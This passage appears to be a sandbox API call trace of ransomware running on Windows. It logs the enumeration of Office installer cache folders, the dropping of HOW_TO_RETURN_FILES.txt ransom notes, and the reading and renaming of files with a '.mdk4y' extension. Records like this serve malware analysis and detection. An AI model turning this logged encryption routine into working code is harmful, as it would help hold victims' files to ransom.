Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0083.499] GetFileType (hFile=0x128) returned 0x1 [0083.500] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0083.500] AreFileApisANSI () returned 1 [0083.500] GetACP () returned 0x4e4 [0083.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-00BA-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0083.500] AreFileApisANSI () returned 1 [0083.500] GetACP () returned 0x4e4 [0083.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\k\x7f") returned 63 [0083.526] AreFileApisANSI () returned 1 [0083.526] GetACP () returned 0x4e4 [0083.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0083.526] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.526] AreFileApisANSI () returned 1 [0083.526] GetACP () returned 0x4e4 [0083.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0083.526] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.526] AreFileApisANSI () returned 1 [0083.526] GetACP () returned 0x4e4 [0083.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrooveLR.cab", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GrooveLR.cab00B4-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 12 [0083.526] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0083.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815875700000) returned 1 [0083.527] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0083.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815884900000) returned 1 [0083.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815884900000) returned 1 [0083.629] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.mdk4y")) returned 1 [0083.630] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.630] AreFileApisANSI () returned 1 [0083.630] GetACP () returned 0x4e4 [0083.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrooveMUI.msi", cchWideChar=13, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GrooveMUI.msi0B4-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 13 [0083.630] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0083.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815886000000) returned 1 [0083.630] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0083.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815914700000) returned 1 [0083.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815914700000) returned 1 [0083.926] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.mdk4y")) returned 1 [0083.928] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.928] AreFileApisANSI () returned 1 [0083.928] GetACP () returned 0x4e4 [0083.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrooveMUI.xml", cchWideChar=13, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GrooveMUI.xml", lpUsedDefaultChar=0x37dfd8) returned 13 [0083.928] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0083.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815915800000) returned 1 [0083.928] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x391, lpOverlapped=0x0) returned 1 [0083.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815916800000) returned 1 [0083.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815916800000) returned 1 [0083.938] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.mdk4y")) returned 1 [0083.939] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.939] AreFileApisANSI () returned 1 [0083.939] GetACP () returned 0x4e4 [0083.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xml.xml", lpUsedDefaultChar=0x37dfd8) returned 9 [0083.939] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0083.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815916900000) returned 1 [0083.939] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x5ac, lpOverlapped=0x0) returned 1 [0083.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815918800000) returned 1 [0083.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815918800000) returned 1 [0083.958] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0083.958] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 0 [0083.959] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0083.959] AreFileApisANSI () returned 1 [0083.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0083.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0083.966] GetFileType (hFile=0x128) returned 0x1 [0083.968] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0083.968] AreFileApisANSI () returned 1 [0083.968] GetACP () returned 0x4e4 [0083.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-0115-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-0115-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0083.968] AreFileApisANSI () returned 1 [0083.968] GetACP () returned 0x4e4 [0083.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\k\x81") returned 63 [0083.979] AreFileApisANSI () returned 1 [0083.979] GetACP () returned 0x4e4 [0083.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0083.979] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.979] AreFileApisANSI () returned 1 [0083.979] GetACP () returned 0x4e4 [0083.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0083.979] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.979] AreFileApisANSI () returned 1 [0083.979] GetACP () returned 0x4e4 [0083.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="10330140000-00BA-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 4 [0083.979] AreFileApisANSI () returned 1 [0083.979] GetACP () returned 0x4e4 [0083.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=68, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\@") returned 68 [0083.980] AreFileApisANSI () returned 1 [0083.980] GetACP () returned 0x4e4 [0083.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 1 [0083.980] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0083.980] AreFileApisANSI () returned 1 [0083.980] GetACP () returned 0x4e4 [0083.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..CtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 2 [0083.980] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0083.980] AreFileApisANSI () returned 1 [0083.980] GetACP () returned 0x4e4 [0083.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="dwintl20.dll", cchWideChar=12, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="dwintl20.dllUoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 12 [0083.980] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0083.980] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0083.983] AreFileApisANSI () returned 1 [0083.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92 [0083.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0083.984] GetFileType (hFile=0x12c) returned 0x1 [0083.985] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.985] AreFileApisANSI () returned 1 [0083.985] GetACP () returned 0x4e4 [0083.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="branding.xml00BA-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 12 [0083.985] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0083.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815921500000) returned 1 [0083.985] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x91975, lpOverlapped=0x0) returned 1 [0084.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815925900000) returned 1 [0084.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815925900000) returned 1 [0084.034] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.mdk4y")) returned 1 [0084.035] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0084.035] AreFileApisANSI () returned 1 [0084.035] GetACP () returned 0x4e4 [0084.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DW20.EXE", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DW20.EXE.xml", lpUsedDefaultChar=0x37dfd8) returned 8 [0084.035] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0084.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815926600000) returned 1 [0084.036] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xccb88, lpOverlapped=0x0) returned 1 [0084.117] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815934700000) returned 1 [0084.117] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815934700000) returned 1 [0084.124] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.mdk4y")) returned 1 [0084.125] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0084.125] AreFileApisANSI () returned 1 [0084.125] GetACP () returned 0x4e4 [0084.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="dwdcw20.dll", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="dwdcw20.dlll", lpUsedDefaultChar=0x37dfd8) returned 11 [0084.125] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0084.125] AreFileApisANSI () returned 1 [0084.125] GetACP () returned 0x4e4 [0084.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="dwtrig20.exe", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="dwtrig20.exe", lpUsedDefaultChar=0x37dfd8) returned 12 [0084.125] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0084.125] AreFileApisANSI () returned 1 [0084.125] GetACP () returned 0x4e4 [0084.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.VC90.CRT.manifest", cchWideChar=27, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.VC90.CRT.manifest0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 27 [0084.125] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0084.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815935600000) returned 1 [0084.126] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x741, lpOverlapped=0x0) returned 1 [0084.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815942600000) returned 1 [0084.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815942700000) returned 1 [0084.197] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.mdk4y")) returned 1 [0084.197] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0084.197] AreFileApisANSI () returned 1 [0084.197] GetACP () returned 0x4e4 [0084.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msvcr90.dll", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="msvcr90.dllC90.CRT.manifest", lpUsedDefaultChar=0x37dfd8) returned 11 [0084.198] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0084.198] AreFileApisANSI () returned 1 [0084.198] GetACP () returned 0x4e4 [0084.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OfficeLR.cab", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OfficeLR.cab90.CRT.manifest", lpUsedDefaultChar=0x37dfd8) returned 12 [0084.198] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0084.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815942800000) returned 1 [0084.198] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0084.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815969200000) returned 1 [0084.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815969200000) returned 1 [0084.630] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All 